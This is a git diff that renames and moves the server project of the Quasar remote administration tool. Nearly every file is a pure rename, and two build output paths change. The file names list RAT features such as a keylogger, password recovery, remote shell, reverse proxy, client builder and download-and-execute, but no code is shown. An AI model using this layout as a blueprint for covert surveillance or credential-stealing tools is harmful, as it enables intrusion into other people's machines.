b/Quasar.Server/Controls/RegistryValueLstItem.cs similarity index 100% rename from Server/Controls/RegistryValueLstItem.cs rename to Quasar.Server/Controls/RegistryValueLstItem.cs diff --git a/Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs similarity index 100% rename from Server/Controls/WordTextBox.Designer.cs rename to Quasar.Server/Controls/WordTextBox.Designer.cs diff --git a/Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs similarity index 100% rename from Server/Controls/WordTextBox.cs rename to Quasar.Server/Controls/WordTextBox.cs diff --git a/Server/Core/Build/ClientBuilder.cs b/Quasar.Server/Core/Build/ClientBuilder.cs similarity index 100% rename from Server/Core/Build/ClientBuilder.cs rename to Quasar.Server/Core/Build/ClientBuilder.cs diff --git a/Server/Core/Build/IconInjector.cs b/Quasar.Server/Core/Build/IconInjector.cs similarity index 100% rename from Server/Core/Build/IconInjector.cs rename to Quasar.Server/Core/Build/IconInjector.cs diff --git a/Server/Core/Build/Renamer.cs b/Quasar.Server/Core/Build/Renamer.cs similarity index 100% rename from Server/Core/Build/Renamer.cs rename to Quasar.Server/Core/Build/Renamer.cs diff --git a/Server/Core/Commands/ClientStatusHandler.cs b/Quasar.Server/Core/Commands/ClientStatusHandler.cs similarity index 100% rename from Server/Core/Commands/ClientStatusHandler.cs rename to Quasar.Server/Core/Commands/ClientStatusHandler.cs diff --git a/Server/Core/Commands/FileManagerHandler.cs b/Quasar.Server/Core/Commands/FileManagerHandler.cs similarity index 100% rename from Server/Core/Commands/FileManagerHandler.cs rename to Quasar.Server/Core/Commands/FileManagerHandler.cs diff --git a/Server/Core/Commands/KeyloggerHandler.cs b/Quasar.Server/Core/Commands/KeyloggerHandler.cs similarity index 100% rename from Server/Core/Commands/KeyloggerHandler.cs rename to Quasar.Server/Core/Commands/KeyloggerHandler.cs diff --git a/Server/Core/Commands/PasswordRecoveryHandler.cs b/Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs similarity index 100% rename from Server/Core/Commands/PasswordRecoveryHandler.cs rename to Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs diff --git a/Server/Core/Commands/RegistryHandler.cs b/Quasar.Server/Core/Commands/RegistryHandler.cs similarity index 100% rename from Server/Core/Commands/RegistryHandler.cs rename to Quasar.Server/Core/Commands/RegistryHandler.cs diff --git a/Server/Core/Commands/RemoteDesktopHandler.cs b/Quasar.Server/Core/Commands/RemoteDesktopHandler.cs similarity index 100% rename from Server/Core/Commands/RemoteDesktopHandler.cs rename to Quasar.Server/Core/Commands/RemoteDesktopHandler.cs diff --git a/Server/Core/Commands/RemoteShellHandler.cs b/Quasar.Server/Core/Commands/RemoteShellHandler.cs similarity index 100% rename from Server/Core/Commands/RemoteShellHandler.cs rename to Quasar.Server/Core/Commands/RemoteShellHandler.cs diff --git a/Server/Core/Commands/ReverseProxyHandler.cs b/Quasar.Server/Core/Commands/ReverseProxyHandler.cs similarity index 100% rename from Server/Core/Commands/ReverseProxyHandler.cs rename to Quasar.Server/Core/Commands/ReverseProxyHandler.cs diff --git a/Server/Core/Commands/StartupManagerHandler.cs b/Quasar.Server/Core/Commands/StartupManagerHandler.cs similarity index 100% rename from Server/Core/Commands/StartupManagerHandler.cs rename to Quasar.Server/Core/Commands/StartupManagerHandler.cs diff --git a/Server/Core/Commands/SystemInformationHandler.cs b/Quasar.Server/Core/Commands/SystemInformationHandler.cs similarity index 100% rename from Server/Core/Commands/SystemInformationHandler.cs rename to Quasar.Server/Core/Commands/SystemInformationHandler.cs diff --git a/Server/Core/Commands/TaskManagerHandler.cs b/Quasar.Server/Core/Commands/TaskManagerHandler.cs similarity index 100% rename from Server/Core/Commands/TaskManagerHandler.cs rename to Quasar.Server/Core/Commands/TaskManagerHandler.cs diff --git a/Server/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Server/Core/Commands/TcpConnectionsHandler.cs similarity index 100% rename from Server/Core/Commands/TcpConnectionsHandler.cs rename to Quasar.Server/Core/Commands/TcpConnectionsHandler.cs diff --git a/Server/Core/Compression/SafeQuickLZ.cs b/Quasar.Server/Core/Compression/SafeQuickLZ.cs similarity index 100% rename from Server/Core/Compression/SafeQuickLZ.cs rename to Quasar.Server/Core/Compression/SafeQuickLZ.cs diff --git a/Server/Core/Cryptography/AES.cs b/Quasar.Server/Core/Cryptography/AES.cs similarity index 100% rename from Server/Core/Cryptography/AES.cs rename to Quasar.Server/Core/Cryptography/AES.cs diff --git a/Server/Core/Data/BuildOptions.cs b/Quasar.Server/Core/Data/BuildOptions.cs similarity index 100% rename from Server/Core/Data/BuildOptions.cs rename to Quasar.Server/Core/Data/BuildOptions.cs diff --git a/Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Core/Data/BuilderProfile.cs similarity index 100% rename from Server/Core/Data/BuilderProfile.cs rename to Quasar.Server/Core/Data/BuilderProfile.cs diff --git a/Server/Core/Data/Host.cs b/Quasar.Server/Core/Data/Host.cs similarity index 100% rename from Server/Core/Data/Host.cs rename to Quasar.Server/Core/Data/Host.cs diff --git a/Server/Core/Data/Settings.cs b/Quasar.Server/Core/Data/Settings.cs similarity index 100% rename from Server/Core/Data/Settings.cs rename to Quasar.Server/Core/Data/Settings.cs diff --git a/Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Core/Extensions/ListViewExtensions.cs similarity index 100% rename from Server/Core/Extensions/ListViewExtensions.cs rename to Quasar.Server/Core/Extensions/ListViewExtensions.cs diff --git a/Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs similarity index 100% rename from Server/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs diff --git a/Server/Core/Extensions/SocketExtensions.cs b/Quasar.Server/Core/Extensions/SocketExtensions.cs similarity index 100% rename from Server/Core/Extensions/SocketExtensions.cs rename to Quasar.Server/Core/Extensions/SocketExtensions.cs diff --git a/Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Core/Helper/ClipboardHelper.cs similarity index 100% rename from Server/Core/Helper/ClipboardHelper.cs rename to Quasar.Server/Core/Helper/ClipboardHelper.cs diff --git a/Server/Core/Helper/CryptographyHelper.cs b/Quasar.Server/Core/Helper/CryptographyHelper.cs similarity index 100% rename from Server/Core/Helper/CryptographyHelper.cs rename to Quasar.Server/Core/Helper/CryptographyHelper.cs diff --git a/Server/Core/Helper/FileHelper.cs b/Quasar.Server/Core/Helper/FileHelper.cs similarity index 100% rename from Server/Core/Helper/FileHelper.cs rename to Quasar.Server/Core/Helper/FileHelper.cs diff --git a/Server/Core/Helper/FormatHelper.cs b/Quasar.Server/Core/Helper/FormatHelper.cs similarity index 100% rename from Server/Core/Helper/FormatHelper.cs rename to Quasar.Server/Core/Helper/FormatHelper.cs diff --git a/Server/Core/Helper/HostHelper.cs b/Quasar.Server/Core/Helper/HostHelper.cs similarity index 100% rename from Server/Core/Helper/HostHelper.cs rename to Quasar.Server/Core/Helper/HostHelper.cs diff --git a/Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs similarity index 100% rename from Server/Core/Helper/NativeMethodsHelper.cs rename to Quasar.Server/Core/Helper/NativeMethodsHelper.cs diff --git a/Server/Core/Helper/PlatformHelper.cs b/Quasar.Server/Core/Helper/PlatformHelper.cs similarity index 100% rename from Server/Core/Helper/PlatformHelper.cs rename to Quasar.Server/Core/Helper/PlatformHelper.cs diff --git a/Server/Core/Helper/RemoteDesktopHelper.cs b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs similarity index 100% rename from Server/Core/Helper/RemoteDesktopHelper.cs rename to Quasar.Server/Core/Helper/RemoteDesktopHelper.cs diff --git a/Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Core/Helper/WindowHelper.cs similarity index 100% rename from Server/Core/Helper/WindowHelper.cs rename to Quasar.Server/Core/Helper/WindowHelper.cs diff --git a/Server/Core/Networking/Client.cs b/Quasar.Server/Core/Networking/Client.cs similarity index 100% rename from Server/Core/Networking/Client.cs rename to Quasar.Server/Core/Networking/Client.cs diff --git a/Server/Core/Networking/QuasarServer.cs b/Quasar.Server/Core/Networking/QuasarServer.cs similarity index 100% rename from Server/Core/Networking/QuasarServer.cs rename to Quasar.Server/Core/Networking/QuasarServer.cs diff --git a/Server/Core/Networking/Server.cs b/Quasar.Server/Core/Networking/Server.cs similarity index 100% rename from Server/Core/Networking/Server.cs rename to Quasar.Server/Core/Networking/Server.cs diff --git a/Server/Core/Networking/UserState.cs b/Quasar.Server/Core/Networking/UserState.cs similarity index 100% rename from Server/Core/Networking/UserState.cs rename to Quasar.Server/Core/Networking/UserState.cs diff --git a/Server/Core/Networking/Utilities/PooledBufferManager.cs b/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs similarity index 100% rename from Server/Core/Networking/Utilities/PooledBufferManager.cs rename to Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs diff --git a/Server/Core/Networking/Utilities/UPnP.cs b/Quasar.Server/Core/Networking/Utilities/UPnP.cs similarity index 100% rename from Server/Core/Networking/Utilities/UPnP.cs rename to Quasar.Server/Core/Networking/Utilities/UPnP.cs diff --git a/Server/Core/Registry/RegValueHelper.cs b/Quasar.Server/Core/Registry/RegValueHelper.cs similarity index 100% rename from Server/Core/Registry/RegValueHelper.cs rename to Quasar.Server/Core/Registry/RegValueHelper.cs diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs similarity index 100% rename from Server/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs similarity index 100% rename from Server/Core/ReverseProxy/ReverseProxyServer.cs rename to Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs diff --git a/Server/Core/Utilities/FrameCounter.cs b/Quasar.Server/Core/Utilities/FrameCounter.cs similarity index 100% rename from Server/Core/Utilities/FrameCounter.cs rename to Quasar.Server/Core/Utilities/FrameCounter.cs diff --git a/Server/Core/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs similarity index 100% rename from Server/Core/Utilities/ListViewColumnSorter.cs rename to Quasar.Server/Core/Utilities/ListViewColumnSorter.cs diff --git a/Server/Core/Utilities/NativeMethods.cs b/Quasar.Server/Core/Utilities/NativeMethods.cs similarity index 100% rename from Server/Core/Utilities/NativeMethods.cs rename to Quasar.Server/Core/Utilities/NativeMethods.cs diff --git a/Server/Core/Utilities/NoIpUpdater.cs b/Quasar.Server/Core/Utilities/NoIpUpdater.cs similarity index 100% rename from Server/Core/Utilities/NoIpUpdater.cs rename to Quasar.Server/Core/Utilities/NoIpUpdater.cs diff --git a/Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs similarity index 100% rename from Server/Enums/TransferType.cs rename to Quasar.Server/Enums/TransferType.cs diff --git a/Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs similarity index 100% rename from Server/Enums/WordType.cs rename to Quasar.Server/Enums/WordType.cs diff --git a/Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs similarity index 100% rename from Server/Forms/FrmAbout.Designer.cs rename to Quasar.Server/Forms/FrmAbout.Designer.cs diff --git a/Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs similarity index 100% rename from Server/Forms/FrmAbout.cs rename to Quasar.Server/Forms/FrmAbout.cs diff --git a/Server/Forms/FrmAbout.resx b/Quasar.Server/Forms/FrmAbout.resx similarity index 100% rename from Server/Forms/FrmAbout.resx rename to Quasar.Server/Forms/FrmAbout.resx diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs similarity index 100% rename from Server/Forms/FrmBuilder.Designer.cs rename to Quasar.Server/Forms/FrmBuilder.Designer.cs diff --git a/Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs similarity index 100% rename from Server/Forms/FrmBuilder.cs rename to Quasar.Server/Forms/FrmBuilder.cs diff --git a/Server/Forms/FrmBuilder.resx b/Quasar.Server/Forms/FrmBuilder.resx similarity index 100% rename from Server/Forms/FrmBuilder.resx rename to Quasar.Server/Forms/FrmBuilder.resx diff --git a/Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs similarity index 100% rename from Server/Forms/FrmConnections.Designer.cs rename to Quasar.Server/Forms/FrmConnections.Designer.cs diff --git a/Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs similarity index 100% rename from Server/Forms/FrmConnections.cs rename to Quasar.Server/Forms/FrmConnections.cs diff --git a/Server/Forms/FrmConnections.resx b/Quasar.Server/Forms/FrmConnections.resx similarity index 100% rename from Server/Forms/FrmConnections.resx rename to Quasar.Server/Forms/FrmConnections.resx diff --git a/Server/Forms/FrmDownloadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs similarity index 100% rename from Server/Forms/FrmDownloadAndExecute.Designer.cs rename to Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs diff --git a/Server/Forms/FrmDownloadAndExecute.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.cs similarity index 100% rename from Server/Forms/FrmDownloadAndExecute.cs rename to Quasar.Server/Forms/FrmDownloadAndExecute.cs diff --git a/Server/Forms/FrmDownloadAndExecute.resx b/Quasar.Server/Forms/FrmDownloadAndExecute.resx similarity index 100% rename from Server/Forms/FrmDownloadAndExecute.resx rename to Quasar.Server/Forms/FrmDownloadAndExecute.resx diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs similarity index 100% rename from Server/Forms/FrmFileManager.Designer.cs rename to Quasar.Server/Forms/FrmFileManager.Designer.cs diff --git a/Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs similarity index 100% rename from Server/Forms/FrmFileManager.cs rename to Quasar.Server/Forms/FrmFileManager.cs diff --git a/Server/Forms/FrmFileManager.resx b/Quasar.Server/Forms/FrmFileManager.resx similarity index 100% rename from Server/Forms/FrmFileManager.resx rename to Quasar.Server/Forms/FrmFileManager.resx diff --git a/Server/Forms/FrmKeylogger.Designer.cs b/Quasar.Server/Forms/FrmKeylogger.Designer.cs similarity index 100% rename from Server/Forms/FrmKeylogger.Designer.cs rename to Quasar.Server/Forms/FrmKeylogger.Designer.cs diff --git a/Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs similarity index 100% rename from Server/Forms/FrmKeylogger.cs rename to Quasar.Server/Forms/FrmKeylogger.cs diff --git a/Server/Forms/FrmKeylogger.resx b/Quasar.Server/Forms/FrmKeylogger.resx similarity index 100% rename from Server/Forms/FrmKeylogger.resx rename to Quasar.Server/Forms/FrmKeylogger.resx diff --git a/Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs similarity index 100% rename from Server/Forms/FrmMain.Designer.cs rename to Quasar.Server/Forms/FrmMain.Designer.cs diff --git a/Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs similarity index 100% rename from Server/Forms/FrmMain.cs rename to Quasar.Server/Forms/FrmMain.cs diff --git a/Server/Forms/FrmMain.resx b/Quasar.Server/Forms/FrmMain.resx similarity index 100% rename from Server/Forms/FrmMain.resx rename to Quasar.Server/Forms/FrmMain.resx diff --git a/Server/Forms/FrmPasswordRecovery.Designer.cs b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs similarity index 100% rename from Server/Forms/FrmPasswordRecovery.Designer.cs rename to Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs similarity index 100% rename from Server/Forms/FrmPasswordRecovery.cs rename to Quasar.Server/Forms/FrmPasswordRecovery.cs diff --git a/Server/Forms/FrmPasswordRecovery.resx b/Quasar.Server/Forms/FrmPasswordRecovery.resx similarity index 100% rename from Server/Forms/FrmPasswordRecovery.resx rename to Quasar.Server/Forms/FrmPasswordRecovery.resx diff --git a/Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs similarity index 100% rename from Server/Forms/FrmRegValueEditBinary.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs similarity index 100% rename from Server/Forms/FrmRegValueEditBinary.cs rename to Quasar.Server/Forms/FrmRegValueEditBinary.cs diff --git a/Server/Forms/FrmRegValueEditBinary.resx b/Quasar.Server/Forms/FrmRegValueEditBinary.resx similarity index 100% rename from Server/Forms/FrmRegValueEditBinary.resx rename to Quasar.Server/Forms/FrmRegValueEditBinary.resx diff --git a/Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs similarity index 100% rename from Server/Forms/FrmRegValueEditMultiString.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs similarity index 100% rename from Server/Forms/FrmRegValueEditMultiString.cs rename to Quasar.Server/Forms/FrmRegValueEditMultiString.cs diff --git a/Server/Forms/FrmRegValueEditMultiString.resx b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx similarity index 100% rename from Server/Forms/FrmRegValueEditMultiString.resx rename to Quasar.Server/Forms/FrmRegValueEditMultiString.resx diff --git a/Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs similarity index 100% rename from Server/Forms/FrmRegValueEditString.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditString.Designer.cs diff --git a/Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs similarity index 100% rename from Server/Forms/FrmRegValueEditString.cs rename to Quasar.Server/Forms/FrmRegValueEditString.cs diff --git a/Server/Forms/FrmRegValueEditString.resx b/Quasar.Server/Forms/FrmRegValueEditString.resx similarity index 100% rename from Server/Forms/FrmRegValueEditString.resx rename to Quasar.Server/Forms/FrmRegValueEditString.resx diff --git a/Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs similarity index 100% rename from Server/Forms/FrmRegValueEditWord.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs similarity index 100% rename from Server/Forms/FrmRegValueEditWord.cs rename to Quasar.Server/Forms/FrmRegValueEditWord.cs diff --git a/Server/Forms/FrmRegValueEditWord.resx b/Quasar.Server/Forms/FrmRegValueEditWord.resx similarity index 100% rename from Server/Forms/FrmRegValueEditWord.resx rename to Quasar.Server/Forms/FrmRegValueEditWord.resx diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs similarity index 100% rename from Server/Forms/FrmRegistryEditor.Designer.cs rename to Quasar.Server/Forms/FrmRegistryEditor.Designer.cs diff --git a/Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs similarity index 100% rename from Server/Forms/FrmRegistryEditor.cs rename to Quasar.Server/Forms/FrmRegistryEditor.cs diff --git a/Server/Forms/FrmRegistryEditor.resx b/Quasar.Server/Forms/FrmRegistryEditor.resx similarity index 100% rename from Server/Forms/FrmRegistryEditor.resx rename to Quasar.Server/Forms/FrmRegistryEditor.resx diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs similarity index 100% rename from Server/Forms/FrmRemoteDesktop.Designer.cs rename to Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs similarity index 100% rename from Server/Forms/FrmRemoteDesktop.cs rename to Quasar.Server/Forms/FrmRemoteDesktop.cs diff --git a/Server/Forms/FrmRemoteDesktop.resx b/Quasar.Server/Forms/FrmRemoteDesktop.resx similarity index 100% rename from Server/Forms/FrmRemoteDesktop.resx rename to Quasar.Server/Forms/FrmRemoteDesktop.resx diff --git a/Server/Forms/FrmRemoteShell.Designer.cs b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs similarity index 100% rename from Server/Forms/FrmRemoteShell.Designer.cs rename to Quasar.Server/Forms/FrmRemoteShell.Designer.cs diff --git a/Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs similarity index 100% rename from Server/Forms/FrmRemoteShell.cs rename to Quasar.Server/Forms/FrmRemoteShell.cs diff --git a/Server/Forms/FrmRemoteShell.resx b/Quasar.Server/Forms/FrmRemoteShell.resx similarity index 100% rename from Server/Forms/FrmRemoteShell.resx rename to Quasar.Server/Forms/FrmRemoteShell.resx diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs similarity index 100% rename from Server/Forms/FrmReverseProxy.Designer.cs rename to Quasar.Server/Forms/FrmReverseProxy.Designer.cs diff --git a/Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs similarity index 100% rename from Server/Forms/FrmReverseProxy.cs rename to Quasar.Server/Forms/FrmReverseProxy.cs diff --git a/Server/Forms/FrmReverseProxy.resx b/Quasar.Server/Forms/FrmReverseProxy.resx similarity index 100% rename from Server/Forms/FrmReverseProxy.resx rename to Quasar.Server/Forms/FrmReverseProxy.resx diff --git a/Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs similarity index 100% rename from Server/Forms/FrmSettings.Designer.cs rename to Quasar.Server/Forms/FrmSettings.Designer.cs diff --git a/Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs similarity index 100% rename from Server/Forms/FrmSettings.cs rename to Quasar.Server/Forms/FrmSettings.cs diff --git a/Server/Forms/FrmSettings.resx b/Quasar.Server/Forms/FrmSettings.resx similarity index 100% rename from Server/Forms/FrmSettings.resx rename to Quasar.Server/Forms/FrmSettings.resx diff --git a/Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs similarity index 100% rename from Server/Forms/FrmShowMessagebox.Designer.cs rename to Quasar.Server/Forms/FrmShowMessagebox.Designer.cs diff --git a/Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs similarity index 100% rename from Server/Forms/FrmShowMessagebox.cs rename to Quasar.Server/Forms/FrmShowMessagebox.cs diff --git a/Server/Forms/FrmShowMessagebox.resx b/Quasar.Server/Forms/FrmShowMessagebox.resx similarity index 100% rename from Server/Forms/FrmShowMessagebox.resx rename to Quasar.Server/Forms/FrmShowMessagebox.resx diff --git a/Server/Forms/FrmStartupAdd.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs similarity index 100% rename from Server/Forms/FrmStartupAdd.Designer.cs rename to Quasar.Server/Forms/FrmStartupAdd.Designer.cs diff --git a/Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs similarity index 100% rename from Server/Forms/FrmStartupAdd.cs rename to Quasar.Server/Forms/FrmStartupAdd.cs diff --git a/Server/Forms/FrmStartupAdd.resx b/Quasar.Server/Forms/FrmStartupAdd.resx similarity index 100% rename from Server/Forms/FrmStartupAdd.resx rename to Quasar.Server/Forms/FrmStartupAdd.resx diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Quasar.Server/Forms/FrmStartupManager.Designer.cs similarity index 100% rename from Server/Forms/FrmStartupManager.Designer.cs rename to Quasar.Server/Forms/FrmStartupManager.Designer.cs diff --git a/Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs similarity index 100% rename from Server/Forms/FrmStartupManager.cs rename to Quasar.Server/Forms/FrmStartupManager.cs diff --git a/Server/Forms/FrmStartupManager.resx b/Quasar.Server/Forms/FrmStartupManager.resx similarity index 100% rename from Server/Forms/FrmStartupManager.resx rename to Quasar.Server/Forms/FrmStartupManager.resx diff --git a/Server/Forms/FrmSystemInformation.Designer.cs b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs similarity index 100% rename from Server/Forms/FrmSystemInformation.Designer.cs rename to Quasar.Server/Forms/FrmSystemInformation.Designer.cs diff --git a/Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs similarity index 100% rename from Server/Forms/FrmSystemInformation.cs rename to Quasar.Server/Forms/FrmSystemInformation.cs diff --git a/Server/Forms/FrmSystemInformation.resx b/Quasar.Server/Forms/FrmSystemInformation.resx similarity index 100% rename from Server/Forms/FrmSystemInformation.resx rename to Quasar.Server/Forms/FrmSystemInformation.resx diff --git a/Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs similarity index 100% rename from Server/Forms/FrmTaskManager.Designer.cs rename to Quasar.Server/Forms/FrmTaskManager.Designer.cs diff --git a/Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs similarity index 100% rename from Server/Forms/FrmTaskManager.cs rename to Quasar.Server/Forms/FrmTaskManager.cs diff --git a/Server/Forms/FrmTaskManager.resx b/Quasar.Server/Forms/FrmTaskManager.resx similarity index 100% rename from Server/Forms/FrmTaskManager.resx rename to Quasar.Server/Forms/FrmTaskManager.resx diff --git a/Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmUpdate.Designer.cs similarity index 100% rename from Server/Forms/FrmUpdate.Designer.cs rename to Quasar.Server/Forms/FrmUpdate.Designer.cs diff --git a/Server/Forms/FrmUpdate.cs b/Quasar.Server/Forms/FrmUpdate.cs similarity index 100% rename from Server/Forms/FrmUpdate.cs rename to Quasar.Server/Forms/FrmUpdate.cs diff --git a/Server/Forms/FrmUpdate.resx b/Quasar.Server/Forms/FrmUpdate.resx similarity index 100% rename from Server/Forms/FrmUpdate.resx rename to Quasar.Server/Forms/FrmUpdate.resx diff --git a/Server/Forms/FrmUploadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs similarity index 100% rename from Server/Forms/FrmUploadAndExecute.Designer.cs rename to Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs diff --git a/Server/Forms/FrmUploadAndExecute.cs b/Quasar.Server/Forms/FrmUploadAndExecute.cs similarity index 100% rename from Server/Forms/FrmUploadAndExecute.cs rename to Quasar.Server/Forms/FrmUploadAndExecute.cs diff --git a/Server/Forms/FrmUploadAndExecute.resx b/Quasar.Server/Forms/FrmUploadAndExecute.resx similarity index 100% rename from Server/Forms/FrmUploadAndExecute.resx rename to Quasar.Server/Forms/FrmUploadAndExecute.resx diff --git a/Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs similarity index 100% rename from Server/Forms/FrmVisitWebsite.Designer.cs rename to Quasar.Server/Forms/FrmVisitWebsite.Designer.cs diff --git a/Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs similarity index 100% rename from Server/Forms/FrmVisitWebsite.cs rename to Quasar.Server/Forms/FrmVisitWebsite.cs diff --git a/Server/Forms/FrmVisitWebsite.resx b/Quasar.Server/Forms/FrmVisitWebsite.resx similarity index 100% rename from Server/Forms/FrmVisitWebsite.resx rename to Quasar.Server/Forms/FrmVisitWebsite.resx diff --git a/Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs similarity index 100% rename from Server/Models/FileTransfer.cs rename to Quasar.Server/Models/FileTransfer.cs diff --git a/Server/Program.cs b/Quasar.Server/Program.cs similarity index 100% rename from Server/Program.cs rename to Quasar.Server/Program.cs diff --git a/Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs similarity index 100% rename from Server/Properties/AssemblyInfo.cs rename to Quasar.Server/Properties/AssemblyInfo.cs diff --git a/Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs similarity index 100% rename from Server/Properties/Resources.Designer.cs rename to Quasar.Server/Properties/Resources.Designer.cs diff --git a/Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx similarity index 100% rename from Server/Properties/Resources.resx rename to Quasar.Server/Properties/Resources.resx diff --git a/Server/Properties/Settings.Designer.cs b/Quasar.Server/Properties/Settings.Designer.cs similarity index 100% rename from Server/Properties/Settings.Designer.cs rename to Quasar.Server/Properties/Settings.Designer.cs diff --git a/Server/Properties/Settings.settings b/Quasar.Server/Properties/Settings.settings similarity index 100% rename from Server/Properties/Settings.settings rename to Quasar.Server/Properties/Settings.settings diff --git a/Server/Server.csproj b/Quasar.Server/Quasar.Server.csproj similarity index 99% rename from Server/Server.csproj rename to Quasar.Server/Quasar.Server.csproj index 7e62b5313..d0f8406c7 100644 --- a/Server/Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -26,7 +26,7 @@ true - ..\Bin\Debug\ + ..\bin\Debug\ DEBUG;TRACE true full @@ -36,7 +36,7 @@ MinimumRecommendedRules.ruleset - ..\Bin\Release\ + ..\bin\Release\ TRACE true true diff --git a/Server/Quasar_Server.ico 